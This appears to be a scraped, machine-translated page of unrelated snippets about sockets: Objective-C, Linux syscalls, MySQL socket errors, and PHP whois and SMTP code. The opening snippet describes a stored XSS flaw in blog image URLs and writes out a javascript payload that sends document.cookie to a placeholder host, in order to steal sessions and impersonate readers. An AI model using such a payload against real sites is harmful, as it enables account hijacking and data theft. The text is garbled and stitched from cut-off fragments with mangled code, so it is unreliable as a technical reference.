bdsd sock

From: t00ls.net The internal network does not strictly filter the inserted images when posting blogs. The xss vulnerability exists. When posting a blog, write the inserted image URL as the following code to trigger: normal browsing, copying, and printing codeJavascript: window. location. href = http://www.xxx.com/test. Javascript: window. location. href = http://www.xxx.com/test.php? Cookie = + document. cookie test. php is used to steal cookies, forge a reader identity, send a blog, and jump t

]; IsRunning =NO; }return Self;} - (void) awakefromnib{[LogView setstring:@""];} - (void) Applicationdidfinishlaunching: (nsnotification*) anotification{[Listensocket setrunloopmodes:[NsarrayArraywithobject:nsrunloopcommonmodes]];} - (ibaction) Startstop: (ID) sender{if(!isrunning) {intPort = [Portfield intvalue];if(Port 0|| Port >65535) {port =0; }Nserror*error =Nil;if(! [Listensocket acceptonport:port Error:error]) {return; } isrunning =YES; [Portfield setenabled:NO]; [Startstopbutton

Recvfrom this system call, kernel begins the first phase of IO: Preparing the data. For network IO, there are times when the data has not arrived at the beginning (for example, a full UDP packet has not been received), and kernel waits for enough data to arrive. On this side of the user process, the entire process is blocked. When kernel waits until the data is ready, it copies the data from the kernel to the user's memory, and then kernel returns the result, and the user process removes the bl

? Php /* PHP Net toolpack v0.1 08.05.2000, by Waddler (@netlife. Fi) Phpnettoolpack.sourceforge.net To be distributed under GNU GPL */ WHOIS (hostname [, username, [port]]) Function whois ($a _server, $a _query= "", $a _port=43) { $sock = Fsockopen ($a _server, $a _port, $errno, $errstr, 10); if (! $sock) { echo "$errstr ($errno) } else { Fputs ($sock, "$a _q

Today, I encountered A problem when connecting to the mysql database: CantconnecttolocalMySQLserverthroughsockettmpmysql. sock (2) solution 1.1. # ps-A | grepmysql display similar to: 1829? 00: 00: 00mysqld_safe1876? 00: 00: 31mysqld2. # kill-918293. # kill-918764. # et I encountered a problem connecting to the mysql database today: Can't connect to local MySQL server through socket '/tmp/mysql. sock '(2) s

communication content, no recipient, title, content 2 and 3 won't make any effort. Modify the Code 1 to add the following content: $ Server = "smtp.163.com ";$ Port = 25; // The default value is 25.$ Username = "YOURNAME@163.com ";$ Password = "YOURPASSWORD"; // password$ Sendto = "TOWHO@gmail.com"; // email recipient address$ Subject = "test title2 ";$ Content = "test content2 ";$ Header = "MIME-Version: 1.0 \ r \ n ";$ Header. = "To:". $ sendto. "\ r \ n ";$ Header. = "From: $ username

, NULL, 0); } LsendtoSendto () initializes the message header, and then calls sock_sendmsg () for processing. SYSCALL_DEFINE6 (sendto, int, fd, void _ user *, buff, size_t, len, unsigned, flags, Struct sockaddr _ user *, addr, int, addr_len) { Struct socket * sock; Struct sockaddr_storage address; Int err; Struct msghdr msg; Struct iovec iov; Int fput_needed; If (len> INT_MAX) Len = INT_MA

resource, and the origin server generates this resource using this URL.　　Host:Is the sending Address of the HTTP request　　Content-Length:Is the content length, that is, the object length. The length value is consistent with the size of the uploaded file.It is very cumbersome to submit via NC (Telnet). Here we write a simple Perl program to complete this complicated submission process. When writing code, we use binmode () to open the file, the Code is as follows: #! /Usr

implies, of course, is provided by the application, for the transmission of data semantic interpretation of the "Man-machine Interface" layer, such as http,smtp,ftp, and so on, in fact, the application layer is not what people eventually see that layer, the top layer should be "interpretation layer", Responsible for the final presentation of the data in various form items.Linux Network protocol stack structure1, the system calls the interface layer, essentially a user-space application-oriented

I encountered a problem connecting to the mysql database today: Can't connect to local MySQL server through socket '/tmp/mysql. sock' (2) Solution 1. 1. # ps-A | grep mysql Display is similar: 1829? 00:00:00 mysqld_safe 1876? 00:00:31 mysqld 2. # kill-9 1829 3. # kill-9 1876 4. #/etc/init. d/mysql restart 5. # mysql-u root-p His troubles have been solved, and I have not solved it yet! Continue searching Solution 2 Check/etc/rc. d/init. d/mysqld status

sends data// Idleproc operates in the idle time of the program, such as sending information to YP.Bool servmgr: Start (){Serverthread. func = servmgr: serverproc;If (! Sys-> startthread ( serverthread ))Return false; Idlethread. func = servmgr: idleproc;If (! Sys-> startthread ( idlethread ))Return false; Return true;} // Let's take a look at the execution of the server thread.//--------------------------------------------------// Start the server process, allocate two servents, and initialize

specifies a set of interface types: SOCK_STREAM, SOCK_DGRAM, SOCK_SEQPACKET, etc. * The third parameter specifies the corresponding transmission protocol, such as TCP/UDP, this default value is usually set to 0 */int sock = socket (AF_INET, SOCK_STREAM, 0); if (sock =-1) {close (sock ); NSLog (@ "socket error: % d", sock